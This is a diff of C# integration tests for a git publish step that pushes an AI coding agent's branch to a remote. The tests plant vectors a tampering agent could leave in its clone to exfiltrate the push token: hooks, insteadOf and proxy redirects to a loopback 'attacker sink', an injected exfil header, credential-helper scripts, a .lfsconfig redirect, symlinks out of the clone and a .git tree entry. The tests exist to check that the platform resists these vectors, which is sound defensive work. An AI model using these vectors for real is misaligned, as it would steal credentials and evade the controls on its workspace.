ctx.Remote.AuthenticatedPushRequests.ShouldBeGreaterThan(0, "the remote validated the real credential on the push"); + + ctx.AssertNothingLeaked(); + } + + [Fact] + public async Task A_no_op_run_publishes_no_branch_and_contacts_no_remote() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)) + .ShouldBeNull("a run that changed nothing produces no branch"); + + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse("no branch reached the remote"); + ctx.Remote.AuthenticatedPushRequests.ShouldBe(0, "a no-op never authenticated a push"); + ctx.Sink.Connections.ShouldBe(0); + } + + [Fact] + public async Task A_revise_round_republishes_the_updated_branch_idempotently() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "round.txt", "first round\n"); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + var firstTip = await ctx.RemoteShaAsync(ctx.BranchName); + + // Another pass in the SAME workspace adds a commit; re-publishing force-updates the same branch. + var reviseSha = await ctx.AgentCommitsAsync(handle.Directory, "round.txt", "second round\n"); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + + var secondTip = await ctx.RemoteShaAsync(ctx.BranchName); + secondTip.ShouldNotBe(firstTip, "the revise round advanced the remote branch"); + secondTip.ShouldBe(reviseSha, "the remote now carries the revised tip"); + ((IWorkspacePushHandle)handle).LastPushedCommitSha().ShouldBe(secondTip); + ctx.Sink.Connections.ShouldBe(0); + } + + [Fact] + public async Task The_publish_repository_is_removed_after_the_push() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task A_failed_publish_still_removes_its_publish_repository() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(token: "a-token-the-remote-refuses"); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + + await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + ctx.Runner.Specs.ShouldContain(s => s.Args.Contains("push"), "the publish got as far as the authenticated push, so its repo was staged"); + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse("the remote refused the credential"); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task An_lfs_file_the_agent_added_arrives_with_its_object_on_the_remote() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync() || !await GitLfsAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + var oid = await ctx.AgentCommitsLfsFileAsync(handle.Directory, "big.bin"); + ctx.PlantAllVectors(handle.Directory); // includes a hostile .lfsconfig pointing lfs.url at the sink + + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None); + + branch.ShouldBe(ctx.BranchName); + ctx.Remote.UploadedLfsOids.ShouldContain(oid, "the LFS object the agent added was uploaded to the LEGIT remote"); + ctx.Remote.HasLfsObject(oid).ShouldBeTrue("the object is in the remote's LFS store"); + ctx.Sink.Connections.ShouldBe(0, "the hostile .lfsconfig did not redirect the LFS upload to the sink"); + ctx.AssertNothingLeaked(); // git-lfs persists endpoint-keyed config; none of it may carry the token + } + + [Theory] + [InlineData(0)] + [InlineData(1)] + public async Task A_base_that_reuses_a_legacy_object_still_publishes(int depth) + { + // The remote already holds an object strict fsck rejects, and the agent's commit reuses it (it left that + // directory alone). Only the objects the agent's branch ADDS are the publish's to check; re-checking the base + // would lose the branch on every git that checks a fetched bundle. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth); + await ctx.Remote.AddLegacySubtreeCommitAsync(); + await using var handle = await ctx.CloneWithTokenAsync(); + + File.Exists(Path.Combine(handle.Directory, "legacy", "legacy.txt")).ShouldBeTrue("fixture check: the clone carries the legacy subtree"); + + await ctx.AgentCommitsAsync(handle.Directory, "agent.txt", "work beside a legacy directory\n"); + + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + (await ctx.RemoteFileAsync(ctx.BranchName, "agent.txt")).ShouldBe("work beside a legacy directory\n"); + (await ctx.RemoteFileAsync(ctx.BranchName, "legacy/legacy.txt")).ShouldBe("written by an old git\n"); + } + + [Fact] + public async Task A_malformed_object_the_agent_committed_is_refused_before_the_push() + { + // A tree with a ".git" entry (the shape of the old checkout-to-.git attacks), committed under the agent's branch. + // The publish repo checks every object the branch adds before anything carries the credential. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync() || !await GitChecksFetchedBundlesAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsATreeWithADotGitEntryAsync(handle.Directory); + await ctx.AgentCommitsAsync(handle.Directory, "agent.txt", "work on top\n"); + + var failure = await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + failure.Message.ShouldContain("hasDotgit", Case.Sensitive, "the refusal names the object check that caught the .git entry"); + ctx.Runner.Specs.ShouldNotContain(s => s.Args.Contains("push"), "nothing carried the credential"); + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse(); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task A_branch_reset_behind_its_base_publishes_that_older_commit() + { + // The agent undid the base's last commit with `reset --hard HEAD~1`: the branch adds no object at all, so there is + // nothing new to bundle, and the branch must still land at the older commit. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + var older = await ctx.AgentResetsBehindTheBaseAsync(handle.Directory); + + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + (await ctx.RemoteShaAsync(ctx.BranchName)).ShouldBe(older, "the remote branch points at the commit the agent reset to"); + ((IWorkspacePushHandle)handle).LastPushedCommitSha().ShouldBe(older); + } + + [Fact] + public async Task Links_and_special_files_the_agent_planted_in_its_lfs_store_are_never_followed() + { + // The LFS copy runs on the host, outside the sandbox. A directory link and a file link out of the clone, a link + // loop and a FIFO, all at object-shaped paths, must be skipped: nothing outside the clone is read or copied, the + // FIFO is never opened (opening it would block forever), and no raw IO error escapes. A real file at a path no + // LFS object has is not an object either, so it neither gets copied nor makes the publish run git-lfs. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + await ctx.PlantLinksAndSpecialFilesInTheLfsStoreAsync(handle.Directory); + + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None).WaitAsync(TimeSpan.FromSeconds(120)); + + branch.ShouldBe(ctx.BranchName, "the planted entries are skipped, not fatal"); + ctx.PublishRepoSnapshot.ShouldNotBeNull("the readback ran in the publish repo, so it was inspected before cleanup"); + ctx.PublishRepoSnapshot.Keys.ShouldNotContain(path => path.Contains("lfs"), "no planted entry was copied into the publish repo"); + ctx.PublishRepoSnapshot.Values.ShouldNotContain(bytes => PublishVectorContext.ContainsText(bytes, PublishVectorContext.OutsideMarker), "no byte from outside the clone reached the publish repo"); + ctx.Runner.Specs.ShouldNotContain(s => s.Args.Contains("lfs"), "with no real object copied, git-lfs never runs"); + } + + [Fact] + public async Task A_linked_shallow_boundary_is_not_followed_and_fails_the_publish_closed() + { + // The agent replaced its clone's .git/shallow with a link to a file outside the clone. The host-side copy must not + // read through it; without the boundary the shallow base cannot be accepted, so the publish fails as a + // WorkspaceException, before any push. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 1); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + ctx.AgentLinksItsShallowBoundaryOutsideTheClone(handle.Directory); + + await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + ctx.Runner.Specs.ShouldNotContain(s => s.Args.Contains("push"), "nothing carried the credential"); + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse(); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task An_unreadable_lfs_object_fails_the_publish_as_a_workspace_exception() + { + // Every caller of the push catches WorkspaceException only; a raw IO exception from the host-side copy would + // escape the retry and, through the produced-work check, fail a run that succeeded. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + if (!ctx.PlantUnreadableLfsObject(handle.Directory)) return; // root reads it anyway: nothing to prove on this host + + await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse(); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + private static Task GitAvailableAsync() => ToolAvailableAsync(new[] { "--version" }); + private static Task GitLfsAvailableAsync() => ToolAvailableAsync(new[] { "lfs", "version" }); + + private static async Task ToolAvailableAsync(IReadOnlyList args) + { + try { return (await RunGitAsync(args)).Status == SandboxStatus.Success; } + catch { return false; } + } + + /// Git checks the objects of a fetched bundle under transfer.fsckObjects from 2.46; older git imports a bundle unchecked. + private static async Task GitChecksFetchedBundlesAsync() + { + var digits = (await RunGitAsync(new[] { "--version" })).Stdout.Split(' ', StringSplitOptions.RemoveEmptyEntries)[2].Split('.').Take(2).Select(int.Parse).ToArray(); + var checks = digits[0] > 2 || (digits[0] == 2 && digits[1] >= 46); + + if (!checks) Console.WriteLine($"[publish-fsck] git {string.Join('.', digits)} imports a bundle unchecked; the malformed-object case needs 2.46 or later"); + return checks; + } + + private static Task RunGitAsync(IReadOnlyList args) => + new LocalProcessRunner().RunAsync(new SandboxSpec { Command = "git", Args = args, TimeoutSeconds = 15 }, CancellationToken.None); + + /// The legit remote, the attacker sink, the provider over a test-owned workspaces root, and plant/assert helpers. Records the specs the provider submits, and snapshots the publish repo when its readback runs, so a test can inspect what the publish staged before it is removed. + private sealed class PublishVectorContext : IDisposable + { + /// Written into every file planted outside the clone; no byte of it may reach the publish repo. + public const string OutsideMarker = "OUTSIDE-THE-CLONE-0f3c"; + + private readonly string _root = Path.Combine(Path.GetTempPath(), "cs-pubvec-" + Guid.NewGuid().ToString("N")); + + public PublishVectorContext() + { + Directory.CreateDirectory(_root); + WorkspacesRoot = Path.Combine(_root, "workspaces"); + MarkersDir = Path.Combine(_root, "markers"); + Directory.CreateDirectory(MarkersDir); + Runner = new RecordingRunner(SnapshotThePublishRepoAtItsReadback); + Provider = new LocalGitWorkspaceProvider(new SandboxRunnerRegistry(new ISandboxRunner[] { Runner }), NullLogger.Instance, WorkspacesRoot); + } + + public GitPublishRemoteFixture Remote { get; } = new(); + public LoopbackSink Sink { get; } = new(); + public LocalGitWorkspaceProvider Provider { get; } + public RecordingRunner Runner { get; } + public string WorkspacesRoot { get; } + public string MarkersDir { get; } + public string BranchName { get; } = "codespace/agent/" + Guid.NewGuid().ToString("N"); + + /// Every file in the publish repo (relative path → bytes) when its ls-remote readback ran; null if the publish never got that far. + public Dictionary? PublishRepoSnapshot { get; private set; } + + public Task StartAsync(int depth) { _depth = depth; return Remote.StartAsync(); } + private int _depth; + + public async Task CloneWithTokenAsync(string token = GitPublishRemoteFixture.FakeToken) => + await Provider.PrepareAsync(WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest + { + RepositoryUrl = Remote.Url, Token = token, TokenUsername = "x-access-token", Depth = _depth, + }), CancellationToken.None); + + /// Fixture check for the shallow rows: the clone's boundary commit has a parent the clone does not hold, so a publish that dropped the boundary could not import the base. + public async Task ShouldBeShallowWithAnAbsentParentAsync(string cloneDir) + { + var shallow = Path.Combine(cloneDir, ".git", "shallow"); + File.Exists(shallow).ShouldBeTrue("fixture check: a depth-limited clone writes .git/shallow"); + + var boundary = (await File.ReadAllLinesAsync(shallow)).First(); + var parent = (await GitAsync(cloneDir, "cat-file", "-p", boundary)).Split('\n').Single(l => l.StartsWith("parent ", StringComparison.Ordinal))["parent ".Length..]; + (await TryGitAsync(cloneDir, "cat-file", "-e", parent)).ShouldBeFalse("fixture check: the boundary's parent is absent from the clone"); + } + + /// The agent commits a file of its own (hooks off, so this simulation never fires a planted hook); returns the commit sha. + public async Task AgentCommitsAsync(string cloneDir, string file, string content) + { + await File.WriteAllTextAsync(Path.Combine(cloneDir, file), content); + await GitAsync(cloneDir, "add", "-A"); + await GitAsync(cloneDir, "-c", "user.name=Agent", "-c", "user.email=agent@example.test", "-c", "commit.gpgsign=false", "commit", "-q", "-m", $"agent {file}"); + return (await GitAsync(cloneDir, "rev-parse", "HEAD")).Trim(); + } + + public Task WriteUncommittedAsync(string cloneDir, string file, string content) => File.WriteAllTextAsync(Path.Combine(cloneDir, file), content); + + /// The agent tracks + commits a real LFS file (hooks off); returns the pointer's sha256 oid. + public async Task AgentCommitsLfsFileAsync(string cloneDir, string file) + { + // Configure the LFS filters locally WITHOUT `git lfs install` — the latter also installs a pre-push hook, + // which fails under our hooks-off test git. The clean filter is all the agent's `git add` needs to store the blob. + await GitAsync(cloneDir, "config", "filter.lfs.clean", "git-lfs clean -- %f"); + await GitAsync(cloneDir, "config", "filter.lfs.smudge", "git-lfs smudge -- %f"); + await GitAsync(cloneDir, "config", "filter.lfs.process", "git-lfs filter-process"); + await GitAsync(cloneDir, "config", "filter.lfs.required", "true"); + await GitAsync(cloneDir, "lfs", "track", "*.bin"); + await File.WriteAllBytesAsync(Path.Combine(cloneDir, file), System.Security.Cryptography.RandomNumberGenerator.GetBytes(4096)); + await GitAsync(cloneDir, "add", "-A"); + await GitAsync(cloneDir, "-c", "user.name=Agent", "-c", "user.email=agent@example.test", "-c", "commit.gpgsign=false", "commit", "-q", "-m", "agent lfs file"); + + var pointer = await GitAsync(cloneDir, "show", $"HEAD:{file}"); + return pointer.Split('\n').Select(l => l.Trim()).First(l => l.StartsWith("oid sha256:", StringComparison.Ordinal))["oid sha256:".Length..]; + } + + /// The agent writes, unvalidated, a commit whose tree holds a .git directory, and moves its branch onto it. + public async Task AgentCommitsATreeWithADotGitEntryAsync(string cloneDir) + { + var config = await Remote.HashObjectAsync("blob", "[core]\n\thooksPath = /tmp\n"u8.ToArray(), cloneDir); + var dotGit = await Remote.HashObjectAsync("tree", GitPublishRemoteFixture.TreeEntry("100644", "config", config), cloneDir); + var readme = (await GitAsync(cloneDir, "rev-parse", "HEAD:README.md")).Trim(); + var root = await Remote.HashObjectAsync("tree", GitPublishRemoteFixture.TreeEntry("40000", ".git", dotGit).Concat(GitPublishRemoteFixture.TreeEntry("100644", "README.md", readme)).ToArray(), cloneDir); + var commit = (await GitAsync(cloneDir, "-c", "user.name=Agent", "-c", "user.email=agent@example.test", "commit-tree", root, "-p", "HEAD", "-m", "agent writes a .git entry")).Trim(); + + await GitAsync(cloneDir, "update-ref", "HEAD", commit); + } + + /// The agent undoes the base's last commit (reset --hard HEAD~1); returns the commit it reset to. + public async Task AgentResetsBehindTheBaseAsync(string cloneDir) + { + await GitAsync(cloneDir, "reset", "-q", "--hard", "HEAD~1"); + return (await GitAsync(cloneDir, "rev-parse", "HEAD")).Trim(); + } + + /// Plant, at object-shaped paths in the clone's LFS store: a directory link and a file link to files outside the clone, a link loop, and a FIFO; plus a real file at a path no LFS object has. + public async Task PlantLinksAndSpecialFilesInTheLfsStoreAsync(string cloneDir) + { + var outside = Directory.CreateDirectory(Path.Combine(_root, "outside")).FullName; + var objects = Directory.CreateDirectory(Path.Combine(cloneDir, ".git", "lfs", "objects")).FullName; + + WriteOutside(Path.Combine(outside, "ab", "cd", Oid("abcd"))); + Directory.CreateSymbolicLink(Path.Combine(objects, "ab"), Path.Combine(outside, "ab")); + + Directory.CreateDirectory(Path.Combine(objects, "ef", "01")); + File.CreateSymbolicLink(Path.Combine(objects, "ef", "01", Oid("ef01")), WriteOutside(Path.Combine(outside, "secret"))); + + Directory.CreateSymbolicLink(Path.Combine(objects, "loop"), objects); + + Directory.CreateDirectory(Path.Combine(objects, "zz")); + File.WriteAllText(Path.Combine(objects, "zz", "not-an-object"), "a stray file the push does not need\n"); + + Directory.CreateDirectory(Path.Combine(objects, "12", "34")); + var fifo = await new LocalProcessRunner().RunAsync(new SandboxSpec { Command = "mkfifo", Args = new[] { Path.Combine(objects, "12", "34", Oid("1234")) }, TimeoutSeconds = 15 }, CancellationToken.None); + fifo.Status.ShouldBe(SandboxStatus.Success, "fixture check: the FIFO was planted"); + } + + /// Move the clone's real shallow boundary outside the clone and leave a link to it in its place (git in the clone still reads the same boundary). + public void AgentLinksItsShallowBoundaryOutsideTheClone(string cloneDir) + { + var shallow = Path.Combine(cloneDir, ".git", "shallow"); + var moved = Path.Combine(Directory.CreateDirectory(Path.Combine(_root, "outside")).FullName, "shallow"); + + File.Move(shallow, moved); + File.CreateSymbolicLink(shallow, moved); + } + + /// Plant a real object-shaped file in the clone's LFS store that the publish cannot read; false when this process reads it anyway (root). + public bool PlantUnreadableLfsObject(string cloneDir) + { + var oid = Oid("aabb"); + var path = Path.Combine(Directory.CreateDirectory(Path.Combine(cloneDir, ".git", "lfs", "objects", "aa", "bb")).FullName, oid); + + File.WriteAllText(path, "an object nobody may read\n"); + File.SetUnixFileMode(path, UnixFileMode.None); + + try { File.ReadAllBytes(path); return false; } + catch (UnauthorizedAccessException) { return true; } + } + + /// Plant every remote-reaching vector a tampering agent could leave in its clone for the platform to trip over. + public void PlantAllVectors(string cloneDir) + { + var gitDir = Path.Combine(cloneDir, ".git"); + + foreach (var hook in new[] { "pre-push", "pre-commit", "post-checkout", "reference-transaction" }) + WriteScript(Path.Combine(gitDir, "hooks", hook), hook); + + // Remote-redirects and request tampering, all keyed on the attacker sink. + var sink = $"http://127.0.0.1:{Sink.Port}/STOLEN/"; + Config(cloneDir, $"url.{sink}.insteadOf", "http://"); + Config(cloneDir, $"url.{sink}.pushInsteadOf", "http://"); + Config(cloneDir, "http.proxy", $"http://127.0.0.1:{Sink.Port}"); + Config(cloneDir, "http.extraHeader", $"{GitPublishRemoteFixture.HostileHeader}: stolen"); + + // Credential-resolution code execution. + Config(cloneDir, "credential.helper", $"!{ScriptPath("credential-helper")}"); + Config(cloneDir, "core.askPass", ScriptPath("askpass")); + + // An include that itself sets a hostile insteadOf — the clean repo must not read the agent's config at all. + var include = Path.Combine(gitDir, "evil-include.cfg"); + File.WriteAllText(include, $"[url \"{sink}\"]\n\tinsteadOf = https://\n"); + Config(cloneDir, "include.path", include); + + // A work-tree .lfsconfig redirecting LFS at the sink (left uncommitted, as an agent would, and also committed + // so it rides the branch — the clean repo checks out nothing, so neither can take effect). + File.WriteAllText(Path.Combine(cloneDir, ".lfsconfig"), $"[lfs]\n\turl = http://127.0.0.1:{Sink.Port}/STOLEN/info/lfs\n"); + } + + /// Assert the publish leaked nothing: the sink was never contacted, no planted marker ran, no injected header reached the remote, and the publish repo held no copy of the token, raw or URL-encoded, when its readback ran. + public void AssertNothingLeaked() + { + Sink.Connections.ShouldBe(0, "a redirect (insteadOf / pushInsteadOf / proxy / .lfsconfig) reached the attacker sink"); + Directory.GetFileSystemEntries(MarkersDir).ShouldBeEmpty("a planted hook, credential.helper or askPass ran — see the marker names"); + Remote.SawHostileHeader.ShouldBeFalse("the agent's http.extraHeader reached the remote"); + + PublishRepoSnapshot.ShouldNotBeNull("the readback ran in the publish repo, so it was inspected before cleanup"); + var carriers = PublishRepoSnapshot.Where(file => ContainsText(file.Value, GitPublishRemoteFixture.FakeToken) || ContainsText(file.Value, Uri.EscapeDataString(GitPublishRemoteFixture.FakeToken))).Select(file => file.Key).ToList(); + carriers.ShouldBeEmpty("the token was written to disk in the publish repo — a crash before cleanup would leave it at rest"); + } + + public void ShouldHaveRemovedThePublishRepository() + { + var publishDirs = Runner.Specs.Where(s => s.Args.Contains("bundle")).Select(s => s.WorkingDirectory).Distinct().ToList(); + + publishDirs.ShouldNotBeEmpty("fixture check: the publish staged a repo, so there is one to remove"); + publishDirs.ShouldAllBe(dir => !Directory.Exists(dir), "the publish repo is removed whether the publish succeeded or failed"); + Directory.GetDirectories(WorkspacesRoot, "publish-*").ShouldBeEmpty("no publish repo is left behind under the workspaces root"); + } + + public static bool ContainsText(byte[] bytes, string text) => bytes.AsSpan().IndexOf(System.Text.Encoding.UTF8.GetBytes(text)) >= 0; + + public async Task RemoteShaAsync(string branch) => (await GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "rev-parse", $"refs/heads/{branch}" })).Trim(); + public async Task RemoteHasBranchAsync(string branch) => (await GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "for-each-ref", $"refs/heads/{branch}" })).Trim().Length > 0; + public Task RemoteLogAsync(string branch) => GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "log", "--format=%H", $"refs/heads/{branch}" }); + public Task RemoteFileAsync(string branch, string file) => GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "show", $"refs/heads/{branch}:{file}" }); + + private static string Oid(string prefix) => prefix + new string('0', 64 - prefix.Length); + + private static string WriteOutside(string path) + { + Directory.CreateDirectory(Path.GetDirectoryName(path)!); + File.WriteAllText(path, OutsideMarker + "\n"); + return path; + } + + private void SnapshotThePublishRepoAtItsReadback(SandboxSpec spec) + { + if (!spec.Args.Contains("ls-remote") || spec.WorkingDirectory is not { } publishDir) return; + + PublishRepoSnapshot = Directory.EnumerateFiles(publishDir, "*", SearchOption.AllDirectories).ToDictionary(file => Path.GetRelativePath(publishDir, file), File.ReadAllBytes); + } + + private string ScriptPath(string name) => Path.Combine(_root, name + ".sh"); + + /// A script that records it ran (marker named after it) then exits 0 — so its ABSENCE proves it never ran. + private string WriteScript(string path, string name) + { + Directory.CreateDirectory(Path.GetDirectoryName(path)!); + File.WriteAllText(path, $"#!/bin/sh\nprintf ran > '{Path.Combine(MarkersDir, name)}'\nexit 0\n"); + File.SetUnixFileMode(path, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.UserExecute); + return path; + } + + private void Config(string cloneDir, string key, string value) => GitAsync(cloneDir, "config", key, value).GetAwaiter().GetResult(); + + /// Test-side git with hooks off, so the agent simulation and config planting never fire a planted vector early. + private async Task GitAsync(string workdir, params string[] args) + { + var result = await RunTestGitAsync(workdir, args); + + if (result.Status != SandboxStatus.Success) + throw new InvalidOperationException($"git {string.Join(' ', args)} failed: {result.Stderr}"); + + return result.Stdout; + } + + private async Task TryGitAsync(string workdir, params string[] args) => (await RunTestGitAsync(workdir, args)).Status == SandboxStatus.Success; + + private Task RunTestGitAsync(string workdir, string[] args) + { + // credential.helper is a per-command setup helper the askpass/helper scripts reference; write them lazily. + EnsureCredentialScripts(); + + return new LocalProcessRunner().RunAsync(new SandboxSpec { Command = "git", Args = new[] { "-c", "core.hooksPath=/dev/null" }.Concat(args).ToList(), WorkingDirectory = workdir, TimeoutSeconds = 120 }, CancellationToken.None); + } + + private bool _credentialScriptsWritten; + + private void EnsureCredentialScripts() + { + if (_credentialScriptsWritten) return; + _credentialScriptsWritten = true; + WriteScript(ScriptPath("credential-helper"), "credential-helper"); + WriteScript(ScriptPath("askpass"), "askpass"); + } + + public void Dispose() + { + Sink.Dispose(); + Remote.DisposeAsync().AsTask().GetAwaiter().GetResult(); + try { Directory.Delete(_root, recursive: true); } catch { /* best-effort */ } + } + } + + /// Records every spec, runs it on the real local runner, then hands it to afterRun (which snapshots the publish repo at its readback). + private sealed class RecordingRunner(Action afterRun) : ISandboxRunner + { + private readonly LocalProcessRunner _inner = new(); + public string Kind => "local"; + public List Specs { get; } = new(); + public async Task RunAsync(SandboxSpec spec, CancellationToken cancellationToken) + { + Specs.Add(spec); + var result = await _inner.RunAsync(spec, cancellationToken); + afterRun(spec); + return result; + } + } +} diff --git a/backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs b/backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs new file mode 100644 index 000000000..713cb888b --- /dev/null +++ b/backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs @@ -0,0 +1,342 @@ +using System.Diagnostics; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Text.Json; +using Shouldly; + +namespace CodeSpace.IntegrationTests.Workflows; + +/// +/// A loopback smart-HTTP git remote (the real git http-backend) that ALSO speaks the Git-LFS batch API, with a +/// FAKE token required for every write — the legitimate destination an agent's produced branch must reach. Fetch/clone +/// is anonymous (GIT_HTTP_EXPORT_ALL); git-receive-pack and every LFS endpoint demand +/// x-access-token:<FakeToken> basic auth, so a push that arrives proves the real credential was presented. +/// It records every request so a test can assert what the remote saw — the authenticated push, the LFS objects uploaded, +/// and that no agent-injected header () was ever sent to it. Fixture setup runs real git out +/// of band; only the production provider's commands run through the sandbox runner under test. +/// +internal sealed class GitPublishRemoteFixture : IAsyncDisposable +{ + /// The push/LFS credential the fixture demands — a fake value that only lives in this test's remote and the token it hands the provider. + public const string FakeToken = "fake-publish-token-0123456789"; + + /// A request header an agent's http.extraHeader would inject; the clean publish repo must never send it to the remote. + public const string HostileHeader = "X-Codespace-Exfil"; + + private readonly HttpListener _listener = new(); + private readonly CancellationTokenSource _stopping = new(); + private readonly List _requests = new(); + private readonly object _gate = new(); + private Task? _accept; + + public string Root { get; } = Directory.CreateTempSubdirectory("cs-pub-remote-").FullName; + public string Remote => Path.Combine(Root, "remote.git"); + private string Seed => Path.Combine(Root, "seed"); + private string LfsStore => Path.Combine(Root, "lfsstore"); + public string Url { get; private set; } = ""; + public string BaseSha { get; private set; } = ""; + + /// Count of authenticated git-receive-pack requests — a push that validated the real credential. + public int AuthenticatedPushRequests { get; private set; } + + /// OIDs the remote received over the LFS upload endpoint. + public List UploadedLfsOids { get; } = new(); + + /// True if any request to the remote carried the agent-injected . + public bool SawHostileHeader { get; private set; } + + public async Task StartAsync() + { + await GitAsync(Root, new[] { "init", "--bare", "-b", "main", Remote }); + await GitAsync(Root, new[] { "--git-dir", Remote, "config", "http.receivepack", "true" }); + Directory.CreateDirectory(LfsStore); + + Directory.CreateDirectory(Seed); + await GitAsync(Seed, new[] { "init", "-b", "main" }); + await GitAsync(Seed, new[] { "config", "user.name", "Fixture" }); + await GitAsync(Seed, new[] { "config", "user.email", "fixture@example.test" }); + await GitAsync(Seed, new[] { "config", "commit.gpgsign", "false" }); + + // Two commits, so a depth-1 clone's boundary commit has a parent the clone lacks — the shape every real repo with + // history has, and the one that makes the publish need the clone's shallow boundary. + foreach (var content in new[] { "base\n", "base, revised\n" }) + { + await File.WriteAllTextAsync(Path.Combine(Seed, "README.md"), content); + await GitAsync(Seed, new[] { "add", "." }); + await GitAsync(Seed, new[] { "commit", "-m", content.Trim() }); + } + + await PublishSeedAsync(); + + for (var attempt = 0; ; attempt++) + { + using var probe = new TcpListener(IPAddress.Loopback, 0); + probe.Start(); + var port = ((IPEndPoint)probe.LocalEndpoint).Port; + probe.Stop(); + Url = $"http://127.0.0.1:{port}/remote.git"; + _listener.Prefixes.Clear(); + _listener.Prefixes.Add($"http://127.0.0.1:{port}/"); + try { _listener.Start(); break; } + catch (HttpListenerException) when (attempt < 4) { } + } + + _accept = AcceptAsync(); + } + + /// The number of objects in the remote's LFS store that match . + public bool HasLfsObject(string oid) => File.Exists(Path.Combine(LfsStore, oid)); + + /// + /// Move main to a commit whose tree reuses a LEGACY subtree: one written with a zero-padded file mode + /// (0100644), as old git versions and some hosting web editors did. Strict fsck rejects that object + /// (zeroPaddedFilemode), yet it is already on the remote and every later commit that leaves the directory + /// alone reuses it. Call before the clone. + /// + public async Task AddLegacySubtreeCommitAsync() + { + var blob = await HashObjectAsync("blob", Encoding.UTF8.GetBytes("written by an old git\n")); + var legacy = await HashObjectAsync("tree", TreeEntry("0100644", "legacy.txt", blob)); + var readme = (await GitAsync(Seed, new[] { "rev-parse", "HEAD:README.md" })).Trim(); + var root = await HashObjectAsync("tree", TreeEntry("100644", "README.md", readme).Concat(TreeEntry("40000", "legacy", 